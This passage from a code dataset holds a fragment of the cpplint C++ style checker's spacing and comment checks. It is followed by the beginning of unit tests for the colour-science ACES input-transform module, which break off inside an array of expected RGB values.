found. """ commentpos = line.find('//') if commentpos != -1: # Check if the // may be in quotes. If so, ignore it # Comparisons made explicit for clarity -- pylint: disable=g-explicit-bool-comparison if (line.count('"', 0, commentpos) - line.count('\\"', 0, commentpos)) % 2 == 0: # not in quotes # Allow one space for new scopes, two spaces otherwise: if (not (Match(r'^.*{ *//', line) and next_line_start == commentpos) and ((commentpos >= 1 and line[commentpos-1] not in string.whitespace) or (commentpos >= 2 and line[commentpos-2] not in string.whitespace))): error(filename, linenum, 'whitespace/comments', 2, 'At least two spaces is best between code and comments') # Checks for common mistakes in TODO comments. comment = line[commentpos:] match = _RE_PATTERN_TODO.match(comment) if match: # One whitespace is correct; zero whitespace is handled elsewhere. leading_whitespace = match.group(1) if len(leading_whitespace) > 1: error(filename, linenum, 'whitespace/todo', 2, 'Too many spaces before TODO') username = match.group(2) if not username: error(filename, linenum, 'readability/todo', 2, 'Missing username in TODO; it should look like ' '"// TODO(my_username): Stuff."') middle_whitespace = match.group(3) # Comparisons made explicit for correctness -- pylint: disable=g-explicit-bool-comparison if middle_whitespace != ' ' and middle_whitespace != '': error(filename, linenum, 'whitespace/todo', 2, 'TODO(my_username) should be followed by a space') # If the comment contains an alphanumeric character, there # should be a space somewhere between it and the // unless # it's a /// or //! Doxygen comment. if (Match(r'//[^ ]*\w', comment) and not Match(r'(///|//\!)(\s+|$)', comment)): error(filename, linenum, 'whitespace/comments', 4, 'Should have a space between // and comment') def CheckAccess(filename, clean_lines, linenum, nesting_state, error): """Checks for improper use of DISALLOW* macros. Args: filename: The name of the current file. clean_lines: A CleansedLines instance containing the file. linenum: The number of the line to check. nesting_state: A NestingState instance which maintains information about the current stack of nested blocks being parsed. error: The function to call with any errors found. """ line = clean_lines.elided[linenum] # get rid of comments and strings matched = Match((r'\s*(DISALLOW_COPY_AND_ASSIGN|' r'DISALLOW_IMPLICIT_CONSTRUCTORS)'), line) if not matched: return if nesting_state.stack and isinstance(nesting_state.stack[-1], _ClassInfo): if nesting_state.stack[-1].access != 'private': error(filename, linenum, 'readability/constructors', 3, '%s must be in the private: section' % matched.group(1)) else: # Found DISALLOW* macro outside a class declaration, or perhaps it # was used inside a function when it should have been part of the # class declaration. We could issue a warning here, but it # probably resulted in a compiler error already. pass def CheckSpacing(filename, clean_lines, linenum, nesting_state, error): """Checks for the correctness of various spacing issues in the code. Things we check for: spaces around operators, spaces after if/for/while/switch, no spaces around parens in function calls, two spaces between code and comment, don't start a block with a blank line, don't end a function with a blank line, don't add a blank line after public/protected/private, don't have too many blank lines in a row. Args: filename: The name of the current file. clean_lines: A CleansedLines instance containing the file. linenum: The number of the line to check. nesting_state: A NestingState instance which maintains information about the current stack of nested blocks being parsed. error: The function to call with any errors found. """ # Don't use "elided" lines here, otherwise we can't check commented lines. # Don't want to use "raw" either, because we don't want to check inside C++11 # raw strings, raw = clean_lines.lines_without_raw_strings line = raw[linenum] # Before nixing comments, check if the line is blank for no good # reason. This includes the first line after a block is opened, and # blank lines at the end of a function (ie, right before a line like '}' # # Skip all the blank line checks if we are immediately inside a # namespace body. In other words, don't issue blank line warnings # for this block: # namespace { # # } # # A warning about missing end of namespace comments will be issued instead. # # Also skip blank line checks for 'extern "C"' blocks, which are formatted # like namespaces. if (IsBlankLine(line) and not nesting_state.InNamespaceBody() and not nesting_state.InExternC()): elided = clean_lines.elided prev_line = elided[linenum - 1] prevbrace = prev_line.rfind('{') # TODO(unknown): Don't complain if line before blank line, and line after, # both start with alnums and are indented the same amount. # This ignores whitespace at the start of a namespace block # because those are not usually indented. if prevbrace != -1 and prev_line[prevbrace:].find('}') == -1: # OK, we have a blank line at the start of a code block. Before we # complain, we check if it is an exception to the rule: The previous # non-empty line has the parameters of a function header that are indented # 4 spaces (because they did not fit in a 80 column line when placed on # the same line as the function name). We also check for the case where # the previous line is indented 6 spaces, which may happen when the # initializers of a constructor do not fit into a 80 column line. exception = False if Match(r' {6}\w', prev_line): # Initializer list? # We are looking for the opening column of initializer list, which # should be indented 4 spaces to cause 6 space indentation afterwards. search_position = linenum-2 while (search_position >= 0 and Match(r' {6}\w', elided[search_position])): search_position -= 1 exception = (search_position >= 0 and elided[search_position][:5] == ' :') else: # Search for the function arguments or an initializer list. We use a # simple heuristic here: If the line is indented 4 spaces; and we have a # closing paren, without the opening paren, followed by an opening brace # or colon (for initializer lists) we assume that it is the last line of # a function header. If we have a colon indented 4 spaces, it is an # initializer list. exception = (Match(r' {4}\w[^\(]*\)\s*(const\s*)?(\{\s*$|:)', prev_line) or Match(r' {4}:', prev_line)) if not exception: error(filename, linenum, 'whitespace/blank_line', 2, 'Redundant blank line at the start of a code block ' 'should be deleted.') # Ignore blank lines at the end of a block in a long if-else # chain, like this: # if (condition1) { # // Something followed by a blank line # # } else if (condition2) { # // Something else # } if linenum + 1 < clean_lines.NumLines(): next_line = raw[linenum + 1] if (next_line and Match(r'\s*}', next_line) and next_line.find('} else ') == -1): error(filename, linenum, 'whitespace/blank_line', 3, 'Redundant blank line at the end of a code block ' 'should be deleted.') matched = Match(r'\s*(public|protected|private):', prev_line) if matched: error(filename, linenum, 'whitespace/blank_line', 3, 'Do not leave a blank line after "%s:"' % matched.group(1)) # Next, check comments next_line_start = 0 if linenum + 1 < clean_lines.NumLines(): next_line = raw[linenum + 1] next_line_start = len(next_line) - len(next_line.lstrip()) CheckComment(line, filename, linenum, next_line_start, error) # get rid of comments and strings line = clean_lines.elided[linenum] # You shouldn't have spaces before your brackets, except maybe after # 'delete []' or 'return []() {};' if Search(r'\w\s+\[', line) and not Search(r'(?:delete|return)\s+\[', line): error(filename, linenum, 'whitespace/braces', 5, 'Extra space before [') # In range-based for, we wanted spaces before and after the colon, but # not around "::" tokens that might appear. if (Search(r'for *\(.*[^:]:[^: ]', line) or Search(r'for *\(.*[^: ]:[^:]', line)): error(filename, linenum, 'whitespace/forcolon', 2, 'Missing space around colon in range-based for loop') def CheckOperatorSpacing(filename, clean_lines, linenum, error): """Checks for horizontal spacing around operators. Args: filename: The name of the current file. clean_lines: A CleansedLines instance containing the file. linenum: The number of the line to check. error: The function to call with any errors found. """ line = clean_lines.elided[linenum] # Don't try to do spacing checks for operator methods. Do this by # replacing the troublesome characters with something else, # preserving column position for all other characters. # # The replacement is done repeatedly to avoid false positives from # operators that call operators. while True: match = Match(r'^(.*\boperator\b)(\S+)(\s*\(.*)$', line) if match: line = match.group(1) + ('_' * len(match.group(2))) + match.group(3) else: break # We allow no-spaces around = within an if: "if ( (a=Foo()) == 0 )". # Otherwise not. Note we only check for non-spaces on *both* sides; # sometimes people put non-spaces on one side when aligning ='s among # many lines (not that this is behavior that I approve of...) if ((Search(r'[\w.]=', line) or Search(r'=[\w.]', line)) and not Search(r'\b(if|while|for) ', line) # Operators taken from [lex.operators] in C++11 standard. and not Search(r'(>=|<=|==|!=|&=|\^=|\|=|\+=|\*=|\/=|\%=)', line) and not Search(r'operator=', line)): error(filename, linenum, 'whitespace/operators', 4, 'Missing spaces around =') # It's ok not to have spaces around binary operators like + - * /, but if # there's too little whitespace, we get concerned. It's hard to tell, # though, so we punt on this one for now. TODO. # You should always have whitespace around binary operators. # # Check <= and >= first to avoid false positives with < and >, then # check non-include lines for spacing around < and >. # # If the operator is followed by a comma, assume it's be used in a # macro context and don't do any checks. This avoids false # positives. # # Note that && is not included here. Those are checked separately # in CheckRValueReference match = Search(r'[^<>=!\s](==|!=|<=|>=|\|\|)[^<>=!\s,;\)]', line) if match: error(filename, linenum, 'whitespace/operators', 3, 'Missing spaces around %s' % match.group(1)) elif not Match(r'#.*include', line): # Look for < that is not surrounded by spaces. This is only # triggered if both sides are missing spaces, even though # technically should should flag if at least one side is missing a # space. This is done to avoid some false positives with shifts. match = Match(r'^(.*[^\s<])<[^\s=<,]', line) if match: (_, _, end_pos) = CloseExpression( clean_lines, linenum, len(match.group(1))) if end_pos <= -1: error(filename, linenum, 'whitespace/operators', 3, 'Missing spaces around <') # Look for > that is not surrounded by spaces. Similar to the # above, we only trigger if both sides are missing spaces to avoid # false positives with shifts. match = Match(r'^(.*[^-\s>])>[^\s=>,]', line) if match: (_, _, start_pos) = ReverseCloseExpression( clean_lines, linenum, len(match.group(1))) if start_pos <= -1: error(filename, linenum, 'whitespace/operators', 3, 'Missing spaces around >') # We allow no-spaces around << when used like this: 10<<20, but # not otherwise (particularly, not when used as streams) # # We also allow operators following an opening parenthesis, since # those tend to be macros that deal with operators. match = Search(r'(operator|[^\s(<])(?:L|UL|ULL|l|ul|ull)?<<([^\s,=<])', line) if (match and not (match.group(1).isdigit() and match.group(2).isdigit()) and not (match.group(1) == 'operator' and match.group(2) == ';')): error(filename, linenum, 'whitespace/operators', 3, 'Missing spaces around <<') # We allow no-spaces around >> for almost anything. This is because # C++11 allows ">>" to close nested templates, which accounts for # most cases when ">>" is not followed by a space. # # We still warn on ">>" followed by alpha character, because that is # likely due to ">>" being used for right shifts, e.g.: # value >> alpha # # When ">>" is used to close templates, the alphanumeric letter that # follows would be part of an identifier, and there should still be # a space separating the template type and the identifier. # type<type<type>> alpha match = Search(r'>>[a-zA-Z_]', line) if match: error(filename, linenum, 'whitespace/operators', 3, 'Missing spaces around >>') # There shouldn't be space around unary operators match = Search(r'(!\s|~\s|[\s]--[\s;]|[\s]\+\+[\s;])', line) if match: error(filename, linenum, 'whitespace/operators', 4, 'Extra space for operator %s' % match.group(1)) def CheckParenthesisSpacing(filename, clean_lines, linenum, error): """Checks for horizontal spacing around parentheses. Args: filename: The name of the current file. clean_lines: A CleansedLines instance containing the file. linenum: The number of the line to check. error: The function to call with any errors found. """ line = clean_lines.elided[linenum] # No spaces after an if, while, switch, or for match = Search(r' (if\(|for\(|while\(|switch\()', line) if match: error(filename, linenum, 'whitespace/parens', 5, 'Missing space before ( in %s' % match.group(1)) # For if/for/while/switch, the left and right parens should be # consistent about how many spaces are inside the parens, and # there should either be zero or one spaces inside the parens. # We don't want: "if ( foo)" or "if ( foo )". # Exception: "for ( ; foo; bar)" and "for (foo; bar; )" are allowed. match = Search(r'\b(if|for|while|switch)\s*' r'\(([ ]*)(.).*[^ ]+([ ]*)\)\s*{\s*$', line) if match: if len(match.group(2)) != len(match.group(4)): if not (match.group(3) == ';' and len(match.group(2)) == 1 + len(match.group(4)) or not match.group(2) and Search(r'\bfor\s*\(.*; \)', line)): error(filename, linenum, 'whitespace/parens', 5, 'Mismatching spaces inside () in %s' % match.group(1)) if len(match.group(2)) not in [0, 1]: error(filename, linenum, 'whitespace/parens', 5, 'Should have zero or one spaces inside ( and ) in %s' % match.group(1)) def CheckCommaSpacing(filename, clean_lines, linenum, error): """Checks for horizontal spacing near commas and semicolons. Args: filename: The name of the current file. clean_lines: A CleansedLines instance containing the file. linenum: The number of the line to check. error: The function to call with any errors found. """ raw = clean_lines.lines_without_raw_strings line = clean_lines.elided[linenum] # You should always have a space after a comma (either as fn arg or operator) # # This does not apply when the non-space character following the # comma is another comma, since the only time when that happens is # for empty macro arguments. # # We run this check in two passes: first pass on elided lines to # verify that lines contain missing whitespaces, second pass on raw # lines to confirm that those missing whitespaces are not due to # elided comments. if (Search(r',[^,\s]', ReplaceAll(r'\boperator\s*,\s*\(', 'F(', line)) and Search(r',[^,\s]', raw[linenum])): error(filename, linenum, 'whitespace/comma', 3, 'Missing space after ,') # You should always have a space after a semicolon # except for few corner cases # TODO(unknown): clarify if 'if (1) { return 1;}' is requires one more # space after ; if Search(r';[^\s};\\)/]', line): error(filename, linenum, 'whitespace/semicolon', 3, 'Missing space after ;') def CheckBracesSpacing(filename, clean_lines, linenum, error): """Checks for horizontal spacing near commas. Args: filename: The name of the current file. clean_lines: A CleansedLines instance containing the file. linenum: The number of the line to check. error: The function to call with any errors found. """ line = clean_lines.elided[linenum] # Except after an opening paren, or after another opening brace (in case of # an initializer list, for instance), you should have spaces before your # braces. And since you should never have braces at the beginning of a line, # this is an easy test. match = Match(r'^(.*[^ ({>]){', line) if match: # Try a bit harder to check for brace initialization. This # happens in one of the following forms: # Constructor() : initializer_list_{} { ... } # Constructor{}.MemberFunction() # Type variable{}; # FunctionCall(type{}, ...); # LastArgument(..., type{}); # LOG(INFO) << type{} << " ..."; # map_of_type[{...}] = ...; # ternary = expr ? new type{} : nullptr; # OuterTemplate<InnerTemplateConstructor<Type>{}> # # We check for the character following the closing brace, and # silence the warning if it's one of those listed above, i.e. # "{.;,)<>]:". # # To account for nested initializer list, we allow any number of # closing braces up to "{;,)<". We can't simply silence the # warning on first sight of closing brace, because that would # cause false negatives for things that are not initializer lists. # Silence this: But not this: # Outer{ if (...) { # Inner{...} if (...){ // Missing space before { # }; } # # There is a false negative with this approach if people inserted # spurious semicolons, e.g. "if (cond){};", but we will catch the # spurious semicolon with a separate check. (endline, endlinenum, endpos) = CloseExpression( clean_lines, linenum, len(match.group(1))) trailing_text = '' if endpos > -1: trailing_text = endline[endpos:] for offset in xrange(endlinenum + 1, min(endlinenum + 3, clean_lines.NumLines() - 1)): trailing_text += clean_lines.elided[offset] if not Match(r'^[\s}]*[{.;,)<>\]:]', trailing_text): error(filename, linenum, 'whitespace/braces', 5, 'Missing space before {') # Make sure '} else {' has spaces. if Search(r'}else', line): error(filename, linenum, 'whitespace/braces', 5, 'Missing space before else') # You shouldn't have a space before a semicolon at the end of the line. # There's a special case for "for" since the style guide allows space before # the semicolon there. if Search(r':\s*;\s*$', line): error(filename, linenum, 'whitespace/semicolon', 5, 'Semicolon defining empty statement. Use {} instead.') elif Search(r'^\s*;\s*$', line): error(filename, linenum, 'whitespace/semicolon', 5, 'Line contains only semicolon. If this should be an empty statement, ' 'use {} instead.') elif (Search(r'\s+;\s*$', line) and not Search(r'\bfor\b', line)): error(filename, linenum, 'whitespace/semicolon', 5, 'Extra space before last semicolon. If this should be an empty ' 'statement, use {} instead.') def IsDecltype(clean_lines, linenum, column): """Check if the token ending on (linenum, column) is decltype(). Args: clean_lines: A CleansedLines instance containing the file. linenum: the number of the line to check. column: end column of the token to check. Returns: True if this token is decltype() expression, False otherwise. """ (text, _, start_col) = ReverseCloseExpression(clean_lines, linenum, column) if start_col < 0: return False if Search(r'\bdecltype\s*$', text[0:start_col]): return True return False def IsTemplateParameterList(clean_lines, linenum, column): """Check if the token ending on (linenum, column) is the end of template<>. Args: clean_lines: A CleansedLines instance containing the file. linenum: the number of the line to check. column: end column of the token to check. Returns: True if this token is end of a template parameter list, False otherwise. """ (_, startline, startpos) = ReverseCloseExpression( clean_lines, linenum, column) if (startpos > -1 and Search(r'\btemplate\s*$', clean_lines.elided[startline][0:startpos])): return True return False def IsRValueType(typenames, clean_lines, nesting_state, linenum, column): """Check if the token ending on (linenum, column) is a type. Assumes that text to the right of the column is "&&" or a function name. Args: typenames: set of type names from template-argument-list. clean_lines: A CleansedLines instance containing the file. nesting_state: A NestingState instance which maintains information about the current stack of nested blocks being parsed. linenum: the number of the line to check. column: end column of the token to check. Returns: True if this token is a type
codeparrot/github-code-clean
"""Defines the unit tests for the :mod:`colour.characterisation.aces_it` module.""" from __future__ import annotations import numpy as np import os import unittest from colour.characterisation import ( MSDS_ACES_RICD, MSDS_CAMERA_SENSITIVITIES, SDS_COLOURCHECKERS, sd_to_aces_relative_exposure_values, read_training_data_rawtoaces_v1, generate_illuminants_rawtoaces_v1, white_balance_multipliers, best_illuminant, normalise_illuminant, training_data_sds_to_RGB, training_data_sds_to_XYZ, optimisation_factory_rawtoaces_v1, optimisation_factory_Jzazbz, matrix_idt, camera_RGB_to_ACES2065_1, ) from colour.characterisation.aces_it import RESOURCES_DIRECTORY_RAWTOACES from colour.colorimetry import ( MSDS_CMFS, MultiSpectralDistributions, SDS_ILLUMINANTS, SpectralDistribution, SpectralShape, reshape_msds, sds_and_msds_to_msds, sd_constant, sd_ones, ) from colour.io import read_sds_from_csv_file from colour.utilities import domain_range_scale __author__ = "Colour Developers" __copyright__ = "Copyright 2013 Colour Developers" __license__ = "New BSD License - https://opensource.org/licenses/BSD-3-Clause" __maintainer__ = "Colour Developers" __email__ = "colour-developers@colour-science.org" __status__ = "Production" __all__ = [ "MSDS_CANON_EOS_5DMARK_II", "SD_AMPAS_ISO7589_STUDIO_TUNGSTEN", "TestSpectralToAcesRelativeExposureValues", "TestReadTrainingDataRawtoacesV1", "TestGenerateIlluminantsRawtoacesV1", "TestWhiteBalanceMultipliers", "TestBestIlluminant", "TestNormaliseIlluminant", "TestTrainingDataSdsToRGB", "TestTrainingDataSdsToXYZ", "TestOptimizationFactoryRawtoacesV1", "TestOptimizationFactoryJzazbz", "TestMatrixIdt", "TestCamera_RGB_to_ACES2065_1", ] MSDS_CANON_EOS_5DMARK_II: MultiSpectralDistributions = sds_and_msds_to_msds( list( read_sds_from_csv_file( os.path.join( RESOURCES_DIRECTORY_RAWTOACES, "CANON_EOS_5DMark_II_RGB_Sensitivities.csv", ) ).values() ) ) SD_AMPAS_ISO7589_STUDIO_TUNGSTEN: SpectralDistribution = ( read_sds_from_csv_file( os.path.join( RESOURCES_DIRECTORY_RAWTOACES, "AMPAS_ISO_7589_Tungsten.csv" ) )["iso7589"] ) class TestSpectralToAcesRelativeExposureValues(unittest.TestCase): """ Define :func:`colour.characterisation.aces_it.\ sd_to_aces_relative_exposure_values` definition unit tests methods. """ def test_spectral_to_aces_relative_exposure_values(self): """ Test :func:`colour.characterisation.aces_it. sd_to_aces_relative_exposure_values` definition. """ shape = MSDS_ACES_RICD.shape grey_reflector = sd_constant(0.18, shape) np.testing.assert_almost_equal( sd_to_aces_relative_exposure_values(grey_reflector), np.array([0.18, 0.18, 0.18]), decimal=7, ) perfect_reflector = sd_ones(shape) np.testing.assert_almost_equal( sd_to_aces_relative_exposure_values(perfect_reflector), np.array([0.97783784, 0.97783784, 0.97783784]), decimal=7, ) dark_skin = SDS_COLOURCHECKERS["ColorChecker N Ohta"]["dark skin"] np.testing.assert_almost_equal( sd_to_aces_relative_exposure_values(dark_skin), np.array([0.11718149, 0.08663609, 0.05897268]), decimal=7, ) dark_skin = SDS_COLOURCHECKERS["ColorChecker N Ohta"]["dark skin"] np.testing.assert_almost_equal( sd_to_aces_relative_exposure_values( dark_skin, SDS_ILLUMINANTS["A"] ), np.array([0.13583991, 0.09431845, 0.05928214]), decimal=7, ) dark_skin = SDS_COLOURCHECKERS["ColorChecker N Ohta"]["dark skin"] np.testing.assert_almost_equal( sd_to_aces_relative_exposure_values( dark_skin, apply_chromatic_adaptation=True ), np.array([0.11807796, 0.08690312, 0.05891252]), decimal=7, ) dark_skin = SDS_COLOURCHECKERS["ColorChecker N Ohta"]["dark skin"] np.testing.assert_almost_equal( sd_to_aces_relative_exposure_values( dark_skin, apply_chromatic_adaptation=True, chromatic_adaptation_transform="Bradford", ), np.array([0.11805993, 0.08689013, 0.05900396]), decimal=7, ) def test_domain_range_scale_spectral_to_aces_relative_exposure_values( self, ): """ Test :func:`colour.characterisation.aces_it. sd_to_aces_relative_exposure_values` definition domain and range scale support. """ shape = MSDS_ACES_RICD.shape grey_reflector = sd_constant(0.18, shape) RGB = sd_to_aces_relative_exposure_values(grey_reflector) d_r = (("reference", 1), ("1", 1), ("100", 100)) for scale, factor in d_r: with domain_range_scale(scale): np.testing.assert_almost_equal( sd_to_aces_relative_exposure_values(grey_reflector), RGB * factor, decimal=7, ) class TestReadTrainingDataRawtoacesV1(unittest.TestCase): """ Define :func:`colour.characterisation.aces_it.\ read_training_data_rawtoaces_v1` definition unit tests methods. """ def test_read_training_data_rawtoaces_v1(self): """ Test :func:`colour.characterisation.aces_it. read_training_data_rawtoaces_v1` definition. """ self.assertEqual(len(read_training_data_rawtoaces_v1().labels), 190) class TestGenerateIlluminantsRawtoacesV1(unittest.TestCase): """ Define :func:`colour.characterisation.aces_it.\ generate_illuminants_rawtoaces_v1` definition unit tests methods. """ def test_generate_illuminants_rawtoaces_v1(self): """ Test :func:`colour.characterisation.aces_it. generate_illuminants_rawtoaces_v1` definition. """ self.assertListEqual( list(sorted(generate_illuminants_rawtoaces_v1().keys())), [ "1000K Blackbody", "1500K Blackbody", "2000K Blackbody", "2500K Blackbody", "3000K Blackbody", "3500K Blackbody", "D100", "D105", "D110", "D115", "D120", "D125", "D130", "D135", "D140", "D145", "D150", "D155", "D160", "D165", "D170", "D175", "D180", "D185", "D190", "D195", "D200", "D205", "D210", "D215", "D220", "D225", "D230", "D235", "D240", "D245", "D250", "D40", "D45", "D50", "D55", "D60", "D65", "D70", "D75", "D80", "D85", "D90", "D95", "iso7589", ], ) class TestWhiteBalanceMultipliers(unittest.TestCase): """ Define :func:`colour.characterisation.aces_it.white_balance_multipliers` definition unit tests methods. """ def test_white_balance_multipliers(self): """ Test :func:`colour.characterisation.aces_it.white_balance_multipliers` definition. """ np.testing.assert_almost_equal( white_balance_multipliers( MSDS_CANON_EOS_5DMARK_II, SDS_ILLUMINANTS["D55"] ), np.array([2.34141541, 1.00000000, 1.51633759]), decimal=7, ) np.testing.assert_almost_equal( white_balance_multipliers( MSDS_CANON_EOS_5DMARK_II, SDS_ILLUMINANTS["ISO 7589 Studio Tungsten"], ), np.array([1.57095278, 1.00000000, 2.43560477]), decimal=7, ) class TestBestIlluminant(unittest.TestCase): """ Define :func:`colour.characterisation.aces_it.best_illuminant` definition unit tests methods. """ def test_best_illuminant(self): """ Test :func:`colour.characterisation.aces_it.best_illuminant` definition. """ self.assertEqual( best_illuminant( white_balance_multipliers( MSDS_CANON_EOS_5DMARK_II, SDS_ILLUMINANTS["FL2"] ), MSDS_CANON_EOS_5DMARK_II, generate_illuminants_rawtoaces_v1(), ).name, "D40", ) self.assertEqual( best_illuminant( white_balance_multipliers( MSDS_CANON_EOS_5DMARK_II, SDS_ILLUMINANTS["A"] ), MSDS_CANON_EOS_5DMARK_II, generate_illuminants_rawtoaces_v1(), ).name, "3000K Blackbody", ) class TestNormaliseIlluminant(unittest.TestCase): """ Define :func:`colour.characterisation.aces_it.normalise_illuminant` definition unit tests methods. """ def test_normalise_illuminant(self): """ Test :func:`colour.characterisation.aces_it.normalise_illuminant` definition. """ self.assertAlmostEqual( np.sum( normalise_illuminant( SDS_ILLUMINANTS["D55"], MSDS_CANON_EOS_5DMARK_II ).values ), 3.439037388220850, places=7, ) class TestTrainingDataSdsToRGB(unittest.TestCase): """ Define :func:`colour.characterisation.aces_it.training_data_sds_to_RGB` definition unit tests methods. """ def test_training_data_sds_to_RGB(self): """ Test :func:`colour.characterisation.aces_it.training_data_sds_to_RGB` definition. """ RGB, RGB_w = training_data_sds_to_RGB( read_training_data_rawtoaces_v1(), MSDS_CANON_EOS_5DMARK_II, SDS_ILLUMINANTS["D55"], ) np.testing.assert_almost_equal( RGB, np.array( [ [42.00296381, 39.83290349, 43.28842394], [181.25453293, 180.47486885, 180.30657630], [1580.35041765, 1578.67251435, 1571.05703787], [403.67553672, 403.67553672, 403.67553672], [1193.51958332, 1194.63985124, 1183.92806238], [862.07824054, 863.30644583, 858.29863779], [605.42274304, 602.94953701, 596.61414309], [395.70687930, 394.67167942, 392.97719777], [227.27502116, 228.33554705, 227.96959477], [130.97735082, 132.12395139, 131.97239271], [61.79308820, 61.85572037, 62.40560537], [592.29430914, 383.93309398, 282.70032306], [504.67305022, 294.69245978, 193.90976423], [640.93167741, 494.91914821, 421.68337308], [356.53952646, 239.77610719, 181.18147755], [179.58569818, 130.00540238, 109.23999883], [1061.07297514, 818.29727750, 730.13362169], [765.75936417, 522.06805938, 456.59355601], [104.70554060, 80.35106922, 65.75667232], [694.19925422, 161.06849749, 214.20170991], [1054.83161580, 709.41713619, 668.10329523], [697.35479081, 276.20032105, 275.86226833], [183.26315174, 65.93801513, 74.60775905], [359.74416854, 59.73576149, 89.81296522], [1043.53760601, 405.48081521, 376.37298474], [344.35374209, 111.26727966, 109.10587712], [215.18064862, 87.41152853, 85.18152727], [555.37005673, 134.76016985, 111.54658160], [931.71846961, 210.02605133, 150.65312210], [211.01186324, 50.73939233, 54.55750662], [654.45781665, 132.73694874, 107.20009737], [1193.89772859, 625.60766645, 521.51066476], [802.65730883, 228.94887565, 178.30864097], [149.82853589, 44.31839648, 55.29195048], [80.88083928, 33.78936351, 41.73438243], [579.50157840, 240.80755019, 188.50864121], [537.09280420, 80.41714202, 48.28907694], [777.62363031, 205.11587061, 122.43126732], [292.65436510, 59.53457252, 44.27126512], [511.68625012, 134.76897130, 85.73242441], [903.64947615, 462.49015529, 350.74183199], [852.95457070, 291.64071698, 151.51871958], [1427.59841722, 907.54863477, 724.29520203], [527.68979414, 169.76114596, 89.48561902], [496.62188809, 317.11827387, 243.77642038], [554.39017413, 284.77453644, 181.92376325], [310.50669032, 96.25812545, 41.22765558], [1246.49891599, 522.05121993, 238.28646123], [240.19646249, 118.57745244, 82.68426681], [1005.98836135, 355.93514762, 118.60457241], [792.31376787, 369.56509398, 143.27388201], [459.04590557, 315.46594358, 215.53901098], [806.50918893, 352.20277469, 97.69239677], [1574.11778922, 1078.61331515, 697.02647383], [1015.45155837, 598.98507153, 301.94169280], [479.68722930, 242.23619637, 72.60351059], [1131.70538515, 628.32510627, 213.67910327], [185.86573238, 162.55033903, 137.59385867], [1131.77074807, 603.89218698, 153.83160203], [638.14148862, 527.18090248, 410.12394346], [884.58039320, 655.09236879, 329.23967927], [1172.73094356, 840.43080883, 380.90114088], [1490.24223350, 1111.18491878, 482.33357611], [1054.70234779, 513.29967197, 91.55980977], [1532.99674295, 1035.15868150, 253.21942988], [662.35328287, 528.52354760, 326.56458987], [1769.55456145, 1557.58571488, 1155.79098414], [1196.62083017, 1079.28012658, 888.47017893], [1578.73591185, 1089.40083172, 314.45691871], [252.98204345, 206.56788008, 153.62801631], [973.59975800, 714.51185344, 251.12884859], [1661.01720988, 1340.46809762, 619.61710815], [656.66179353, 566.61547800, 322.22788098], [676.69663303, 571.86743785, 249.62031449], [1229.28626315, 1020.14702709, 353.11090960], [390.76190378, 324.36051944, 119.31108035], [1524.10495708, 1366.72397704, 633.03830849], [1264.54750712, 1149.12002542, 335.25348483], [265.96753330, 260.89397210, 130.78590008], [90.15969432, 90.72350914, 55.12008388], [298.22463247, 300.48700028, 101.95760063], [813.34391710, 820.12623357, 313.17818415], [186.96402165, 190.38042094, 104.27515726], [230.34939258, 235.91900919, 120.77815429], [469.57926615, 472.51064145, 256.40912347], [117.81249486, 129.17019984, 69.78861213], [133.39581196, 151.50390168, 77.66255652], [164.19259747, 172.13159331, 80.92295294], [146.12230124, 149.32536508, 87.48300520], [201.93215173, 208.89885695, 111.84447436], [248.41427850, 282.34047722, 122.55482010], [304.35509339, 377.38986207, 118.66130122], [381.85533606, 530.40398972, 150.83506876], [967.19810669, 1161.33086750, 663.54746741], [613.98437237, 865.41677370, 362.92357557], [410.21304405, 611.89683658, 284.09389273], [279.50447144, 416.01646348, 213.18049093], [334.48807624, 487.46571814, 235.49134434], [664.04349337, 867.87454943, 549.71146455], [311.66934673, 431.38058636, 256.13307806], [110.04404638, 203.88196409, 104.63331585], [153.35857585, 312.67834716, 149.90942505], [273.46344514, 462.41992197, 292.50571823], [184.77058437, 267.46361125, 193.71894670], [75.79805899, 163.84071881, 95.67465270], [461.73803707, 668.68797906, 484.77687282], [523.01992144, 790.69326153, 598.73122243], [105.89414085, 124.92341127, 113.03925656], [279.33299507, 446.45128537, 344.73426977], [340.57250119, 381.28610429, 353.83182947], [141.00956904, 329.50139051, 228.90179483], [117.29728945, 156.88993944, 139.49878229], [565.12438106, 696.52297174, 615.88218349], [1046.73447319, 1446.22424473, 1277.47338963], [133.87404291, 253.25944193, 224.75872956], [586.52626500, 1015.43013448, 885.49907251], [927.08412116, 1197.93784752, 1140.76612264], [81.29463446, 202.46201173, 186.35209411], [350.90699453, 788.82959642, 669.10307704], [278.88231719, 581.42068355, 526.82554470], [642.66176703, 990.64038619, 907.64284280], [689.10344984, 942.49383066, 900.33073076], [190.62073977, 540.21088595, 523.62573562], [322.35685764, 676.02683754, 692.94583013], [896.29532467, 1289.90474463, 1311.34615018], [204.06785020, 321.83261403, 337.01923114], [237.10512554, 549.97044011, 646.06486244], [907.26703197, 1252.44260107, 1309.50173432], [504.74103065, 728.27088424, 782.27808125], [470.91049729, 912.49116456, 1059.41083523], [231.75497961, 539.14727494, 732.41647792], [624.91135978, 943.51709467, 1086.48492282], [104.84186738, 398.05825469, 663.96030581], [100.47632953, 226.41423139, 323.51675153], [998.19560093, 1168.81108673, 1283.07267859], [350.74519746, 457.74100518, 552.52270183], [223.19531677, 560.14850077, 855.05346039], [66.92044931, 128.18947830, 205.30719728], [280.63458798, 518.51069955, 784.38948897], [1071.24122457, 1267.16339790, 1467.81704311], [271.47257445, 553.57609491, 914.33723598], [211.86582477, 295.18643027, 418.51776463], [153.86457460, 342.06625645, 649.82579665], [179.59188635, 265.25370235, 413.68135787], [529.77485058, 737.79030218, 1046.29865466], [208.71936449, 421.30392624, 796.71281168], [685.50294808, 879.76243717, 1195.00892794], [85.02189613, 113.33360860, 171.03209018], [72.06980264, 139.42600347, 315.97906141], [349.57868286, 426.82308690, 556.49647978], [726.50329821, 882.48411184, 1163.20130103], [102.62158777, 177.73895468, 467.26740089], [208.63097281, 322.84137064, 639.30554347], [377.19498209, 456.13180268, 706.44272480], [149.91131672, 218.16462984, 455.15510078], [556.80606655, 673.96774240, 1020.98785748], [172.19546054, 181.38617476, 478.69666973], [494.98572332, 534.88874559, 773.75255591], [1166.31475206, 1207.81829513, 1411.04368728], [324.81131421, 298.91188334, 521.96994638], [731.58631467, 725.95113189, 1192.71141630], [376.70584074, 352.06184423, 572.37854429], [421.32413767, 465.07677606, 910.85999527], [155.65680826, 145.82096629, 282.56390371], [982.43736509, 991.65710582, 1312.39630323], [41.37244888, 33.41882583, 59.48460827], [282.61535563, 188.37255834, 441.62967707], 